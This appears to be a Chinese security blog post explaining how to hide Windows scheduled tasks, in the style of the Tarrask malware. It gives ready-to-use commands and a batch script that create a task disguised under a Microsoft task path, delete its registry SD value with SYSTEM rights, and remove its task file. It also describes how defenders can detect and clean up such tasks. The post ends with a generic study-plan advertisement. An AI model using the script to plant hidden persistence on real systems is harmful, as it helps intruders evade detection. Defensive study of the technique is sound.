0x00 前置知识
计划任务SCHTASKS命令
SCHTASKS
![image-20220818155119836](https://img-
blog.csdnimg.cn/img_convert/dc5ed2b4371ef8b642e4bac283b2d2ed.png)
SCHTASKS /Create 参数
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
描述:
允许管理员在本地或远程系统上创建计划任务。
参数列表:
/S system 指定要连接到的远程系统。如果省略这个
系统参数,默认是本地系统。
/U username 指定应在其中执行 SchTasks.exe 的用户上下文。
/P [password] 指定给定用户上下文的密码。如果省略则
提示输入。
/RU username 指定任务在其下运行的“运行方式”用户
帐户(用户上下文)。对于系统帐户,有效
值是 ""、"NT AUTHORITY\SYSTEM" 或
"SYSTEM"。
对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
对这三个也都可用。
/RP [password] 指定“运行方式”用户的密码。要提示输
入密码,值必须是 "*" 或无。系统帐户会忽略该
密码。必须和 /RU 或 /XML 开关一起使用。
/RU/XML /SC schedule 指定计划频率。
有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier 改进计划类型以允许更好地控制计划重复
周期。有效值列于下面“修改者”部分中。
/D days 指定该周内运行任务的日期。有效值:
MON、TUE、WED、THU、FRI、SAT、SUN
和对 MONTHLY 计划的 1 - 31
(某月中的日期)。通配符“*”指定所有日期。
/M months 指定一年内的某月。默认是该月的第一天。
有效值: JAN、FEB、MAR、APR、MAY、JUN、
JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
“*” 指定所有的月。
/I idletime 指定运行一个已计划的 ONIDLE 任务之前
要等待的空闲时间。
有效值范围: 1 到 999 分钟。
/TN taskname 以路径\名称形式指定
对此计划任务进行唯一标识的字符串。
/TR taskrun 指定在这个计划时间运行的程序的路径
和文件名。
例如: C:\windows\system32\calc.exe
/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间),例如 14:30 表示
2:30 PM。如果未指定 /ST,则默认值为
当前时间。/SC ONCE 必需有此选项。
/RI interval 用分钟指定重复间隔。这不适用于
计划类型: MINUTE、HOURLY、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
有效范围: 1 - 599940 分钟。
如果已指定 /ET 或 /DU,则其默认值为
10 分钟。
/ET endtime 指定运行任务的结束时间。
时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
/DU duration 指定运行任务的持续时间。
时间格式为 HH:mm。这不适用于 /ET 和
计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
1 小时。
/K 在结束时间或持续时间终止任务。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
必须指定 /ET 或 /DU。
/SD startdate 指定运行任务的第一个日期。
格式为 yyyy/mm/dd。默认值为
当前日期。这不适用于计划类型: ONCE、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED enddate 指定此任务运行的最后一天的日期。
格式是 yyyy/mm/dd。这不适用于计划类型:
ONCE、ONSTART、ONLOGON、ONIDLE。
/EC ChannelName 为 OnEvent 触发器指定事件通道。
/IT 仅有在 /RU 用户当前已登录且
作业正在运行时才可以交互式运行任务。
此任务只有在用户已登录的情况下才运行。
/NP 不储存任何密码。任务以给定用户的身份
非交互的方式运行。只有本地资源可用。
/Z 标记在最终运行完任务后删除任务。
/XML xmlfile 从文件的指定任务 XML 中创建任务。
可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
主体时单独使用 /RP。
/V1 创建 Vista 以前的平台可以看见的任务。
不兼容 /XML。
/F 如果指定的任务已经存在,则强制创建
任务并抑制警告。
/RL level 为作业设置运行级别。有效值为
LIMITED 和 HIGHEST。默认值为 LIMITED。
/DELAY delaytime 指定触发触发器后延迟任务运行的
等待时间。时间格式为
mmmm:ss。此选项仅对计划类型
ONSTART, ONLOGON, ONEVENT.
/HRESULT 为获得更出色的故障诊断能力,处理退出代码
将采用 HRESULT 格式。
/? 显示此帮助消息。
修改者: 按计划类型的 /MO 开关的有效值:
MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE: 无修改者。
ONSTART: 无修改者。
ONLOGON: 无修改者。
ONIDLE: 无修改者。
MONTHLY: 1 到 12,或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
0x01 隐藏计划任务的创建
1.1 SCHTASKS命令创建普通计划任务
schtasks /create /TN Calc /SC MINUTE /MO 3 /TR "c:\windows\system32\calc.exe" /U Administrator /F
/TN taskname 以路径\名称形式指定
对此计划任务进行唯一标识的字符串。
/SC schedule 指定计划频率。
有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE,
ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO modifier 改进计划类型以允许更好地控制计划重复
周期。
/TR taskrun 指定在这个计划时间运行的程序的路径
和文件名。
/F 如果指定的任务已经存在,则强制创建
任务并抑制警告。
![image-20220818160621500](https://img-
blog.csdnimg.cn/img_convert/0a8de29543f7848431417ff5693f0702.png)
可使用/RU参数指定任务在其下运行的“运行方式”用户帐户
/RU username 指定任务在其下运行的“运行方式”用户
帐户(用户上下文)。
![image-20220818160404695](https://img-
blog.csdnimg.cn/img_convert/7f00fe468f2cb2430c5cb45f3176b55c.png)
默认情况下,很容易使用任务计划程序或者autoruns工具查看到
![image-20220818160844957](https://img-
blog.csdnimg.cn/img_convert/7786ee699252fc9d2784ba0bf81b1a4a.png)
1.2 删除注册表SD记录
此时我们可以通过删除注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\下的SD记录,隐藏计划任务。
直接使用命令reg delete删除这个值,会提示权限拒绝错误,我们需要system权限才能删除这个记录。
![image-20220818165848180](https://img-
blog.csdnimg.cn/img_convert/ee604e7148f654bab131c0bf2b5f53e9.png)
使用psexec获得一个system权限的cmd
PsExec64.exe -s -i cmd
PsExec64可到Microsoft的sysinternals下载
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
![image-20220818170041949](https://img-
blog.csdnimg.cn/img_convert/aa725cb6c53f25ea4be04adb22d278d1.png)
删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\的SD值
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Calc" /v SD /f
/f 不用提示,强制删除。
/v ValueName 所选项下面的要删除的值名称。
如果省略,则删除该项下面的所有子项和值。
![image-20220818170342120](https://img-
blog.csdnimg.cn/img_convert/69550b529d9e56bf4a1472c245e9a81e.png)
![image-20220818170451735](https://img-
blog.csdnimg.cn/img_convert/ec3957805cc9008bead564ebb579bd17.png)
删除后,我们用任务计划程序或者autoruns查看,都无法看到对应的计划任务
![image-20220818170619382](https://img-
blog.csdnimg.cn/img_convert/523de730238c72badbdc6b8e2d4b7075.png)
计划任务实际还会运行
![image-20220818171157373](https://img-
blog.csdnimg.cn/img_convert/aef861bc0c622271b80958a518569be6.png)
此时,有两个地方可以看到计划任务存在。
一是在C:\windows\system32\Tasks目录下会有计划任务的配置文件,如下:
![image-20220818171339260](https://img-
blog.csdnimg.cn/img_convert/856b75badfc72efa2d39ba9d9e00a86a.png)
二是在注册表中也能看到,在Tree下面对应计划任务的名称和ID,在Tasks下面为计划任务的实际配置信息:
![image-20220818171607701](https://img-
blog.csdnimg.cn/img_convert/10979baf8c473e1dad8f257a3982a92d.png)
![image-20220818171623704](https://img-
blog.csdnimg.cn/img_convert/a0998e8b3cac60283e9ea96a2e11a041.png)
1.3 删除磁盘上的配置文件
即使我们删除了磁盘上的配置文件,重启后计划任务仍会运行,要想找到计划任务,只能在注册表里面查找。
![image-20220818171753581](https://img-
blog.csdnimg.cn/img_convert/c0e53771b0ce21ab63fc43ece1fa0be2.png)
从攻击方的角度,我们可以将计划任务名称伪装成常见的合法的计划任务,迷惑防守方,然后删除计划任务对应的SD记录和C:\Windows\system32\Tasks下面对应的配置文件,极大地提升检测和响应难度。
0x02 隐藏计划任务的检测和清除
1、查看恶意进程父进程是否为计划任务进程,计划任务进程一般为svchost.exe -k netsvcs:
![image-20220818172804273](https://img-
blog.csdnimg.cn/img_convert/fb67a9e6d653407d94d55ab191e67cf7.png)
2、查看日志文件Microsoft-Windows-TaskScheduler%4Operational.evtx中事件ID
200/201/102关于计划任务的执行和完成情况:
![image-20220818172850603](https://img-
blog.csdnimg.cn/img_convert/d79fe7fa0f620c2df67bdfb363d57e13.png)
如果没有日志,可以在任务计划程序里面临时开启(应急完成后,如果不需要可以关掉,但建议开启):
![image-20220818173007590](https://img-
blog.csdnimg.cn/img_convert/113c64d241052012eca7ff1f5d2bdaa9.png)
3、检查在C:\windows\system32\Tasks下是否存在执行恶意文件的计划任务配置文件,有的话提取相关证据后删除,如果没有,我们只能在注册表中进行搜索。
![image-20220818171339260](https://img-
blog.csdnimg.cn/img_convert/ad551b8afa52a682f6f2be8f9b8aff0f.png)
4、检查注册表如下2个键:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
在Tree下面找到恶意计划任务名称后,根据ID的值在TaskCache\Tasks下面找实际的配置数据。提取相关证据后删除上面2个记录。
![image-20220818171607701](https://img-
blog.csdnimg.cn/img_convert/10979baf8c473e1dad8f257a3982a92d.png)
![image-20220818173924687](https://img-
blog.csdnimg.cn/img_convert/ca9d05b06274d7a8ef2398c3d1fd3776.png)
5、重启计划任务服务或者系统。如果要重启计划任务服务,需要以system权限操作,管理员无权限:
![image-20220818173252961](https://img-
blog.csdnimg.cn/img_convert/ede9396b005a35043a25d793884c81da.png)
在系统或者服务重启后,将会完全清理计划任务。对于运行恶意exe的计划任务,也可以直接删除可执行程序,这样即使计划任务可以运行,但是进程也执行不了。但对于使用powershell
无文件运行恶意进程,只能通过重启服务或者系统实现完全清理。
0x03 总结
使用计划任务进行权限维持之前使用已经比较多了,但创建隐藏计划任务目前使用的还比较少,对于攻击方,可作为权限维持和防御规避的手段之一,作为防守方我们也需要了解如何对这种攻击手段进行检测和响应。
C:\Windows\system32>schtasks /create /TN \Microsoft\Windows\WlanSvc\Autopilot /SC MINUTE /MO 3 /TR "c:\windows\system32\calc.exe" /RU Administrator /F
成功: 成功创建计划任务 "\Microsoft\Windows\WlanSvc\Autopilot"。
C:\Windows\system32>reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WlanSvc\Autopilot" /v SD /f
操作成功完成。
C:\Windows\system32>del C:\windows\system32\Tasks\Microsoft\Windows\WlanSvc\Autopilot
bat脚本
%~1 计划任务位置
格式
建议放置\Microsoft\Windows下
%~2 要执行的命令 或运行的脚本、程序。
绝对位置
%~3 每多少分钟执行一次
需要以system权限执行
@echo
off
schtasks /create /TN %~1 /SC MINUTE /MO %~3 /TR "%~2" /RU Administrator /F
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree%~1" /v SD /f
del %SystemRoot%\system32\Tasks%~1
参考资料
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-
scheduled-tasks-for-defense-evasion/
https://attack.mitre.org/techniques/T1053/005/
https://mp.weixin.qq.com/s/CM-Z-2ljHHZM2XO_7EzXGw
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
![](https://i-blog.csdnimg.cn/blog_migrate/27de5381f326daa184fd6ba403527a54.jpeg)